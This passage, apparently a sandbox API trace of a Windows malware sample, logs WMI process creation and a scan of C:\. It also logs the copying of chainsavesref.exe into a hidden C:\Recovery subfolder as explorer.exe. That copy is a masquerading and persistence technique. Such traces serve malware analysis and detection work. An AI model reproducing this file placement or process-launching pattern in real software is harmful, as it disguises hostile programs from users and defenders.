This=0x1bc2b680, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0136.184] IUnknown:AddRef (This=0x1bc2b680) returned 0x3 [0136.184] IUnknown:QueryInterface (in: This=0x1bc2b680, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0136.184] IUnknown:QueryInterface (in: This=0x1bc2b680, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0136.184] IUnknown:QueryInterface (in: This=0x1bc2b680, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bc2b688) returned 0x0 [0136.184] IMarshal:GetUnmarshalClass (in: This=0x1bc2b688, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0136.184] IUnknown:Release (This=0x1bc2b688) returned 0x3 [0136.184] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0136.184] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0136.184] IUnknown:QueryInterface (in: This=0x1bc2b680, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0136.184] IUnknown:Release (This=0x1bc2b680) returned 0x2 [0136.184] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0136.184] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0136.184] IUnknown:QueryInterface (in: This=0x1bc2b680, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0136.185] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0136.185] IUnknown:QueryInterface (in: This=0x1bc2b680, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0136.185] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0136.185] IUnknown:AddRef (This=0x1bc2b680) returned 0x3 [0136.185] IWbemClassObject:Put (This=0x1aa18d30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bc2b680, varVal2=0x0), Type=0) returned 0x0 [0136.185] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fbc0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0136.185] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fbc0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0136.185] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fbc0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0136.185] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fb00, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0136.185] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0136.185] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.186] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fbc0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0136.186] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fbc0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0136.186] IWbemServices:ExecMethod (in: This=0x1bc64b30, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa18d30, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa18fe0, ppCallResult=0x0) returned 0x0 [0136.460] IWbemClassObject:Get (in: This=0x1aa18fe0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x287a0c8*=0, plFlavor=0x287a0cc*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf50, varVal2=0x0), pType=0x287a0c8*=19, plFlavor=0x287a0cc*=0) returned 0x0 [0136.460] IWbemClassObject:Get (in: This=0x1aa18fe0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x287a0c8*=19, plFlavor=0x287a0cc*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf50, varVal2=0x0), pType=0x287a0c8*=19, plFlavor=0x287a0cc*=0) returned 0x0 [0136.462] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x150) returned 0x35c [0136.463] GetExitCodeProcess (in: hProcess=0x35c, lpExitCode=0x2736fcc | out: lpExitCode=0x2736fcc*=0x103) returned 1 [0136.463] CoTaskMemAlloc (cb=0x404) returned 0x1bc7f590 [0136.463] QueryFullProcessImageNameA (in: hProcess=0x35c, dwFlags=0x0, lpExeName=0x1bc7f590, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x1bb7ed88) returned 1 [0136.464] CoTaskMemFree (pv=0x1bc7f590) [0136.470] CoTaskMemAlloc (cb=0x20c) returned 0x1a9882a0 [0136.470] GetSystemDirectoryW (in: lpBuffer=0x1a9882a0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0136.470] CoTaskMemFree (pv=0x1a9882a0) [0136.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0136.471] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.471] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bc46450 [0136.472] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0136.472] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0136.472] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0136.472] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0136.472] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0136.472] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0136.473] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0136.473] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0136.473] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0136.473] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0136.473] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0136.473] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0136.473] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0136.474] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0136.474] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0136.474] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0136.474] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0136.474] FindClose (in: hFindFile=0x1bc46450 | out: hFindFile=0x1bc46450) returned 1 [0136.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0136.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0136.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0136.475] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0136.475] FindFirstFileW (in: lpFileName="C:\\Recovery\\*" (normalized: "c:\\recovery\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bc46450 [0136.477] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.477] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7844bbf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7844bbf0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d327d5c2-7147-11eb-9862-d731c5aaa7a9", cAlternateFileName="D327D5~1")) returned 1 [0136.477] FindNextFileW (in: hFindFile=0x1bc46450, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0136.478] FindClose (in: hFindFile=0x1bc46450 | out: hFindFile=0x1bc46450) returned 1 [0136.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0136.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0136.478] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe", lpFilePart=0x0) returned 0x3d [0136.478] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0136.478] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe", lpFilePart=0x0) returned 0x3d [0136.478] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe"), bFailIfExists=0) returned 1 [0136.608] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\7a0fd90576e088", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\7a0fd90576e088", lpFilePart=0x0) returned 0x3f [0136.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0136.608] CreateFileW (lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\7a0fd90576e088" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\7a0fd90576e088"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x360 [0136.678] GetFileType (hFile=0x360) returned 0x1 [0136.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0136.678] GetFileType (hFile=0x360) returned 0x1 [0136.678] WriteFile (in: hFile=0x360, lpBuffer=0x2884580*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x2884580*, lpNumberOfBytesWritten=0x1bb7e978*=0x40, lpOverlapped=0x0) returned 1 [0136.680] CloseHandle (hObject=0x360) returned 1 [0136.681] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0136.682] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0136.682] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0136.682] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.684] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc6f8c0) returned 0x0 [0136.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f8c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0136.684] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f8c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc40040) returned 0x0 [0136.685] WbemDefPath:IUnknown:Release (This=0x1bc6f8c0) returned 0x0 [0136.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc40040) returned 0x0 [0136.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, 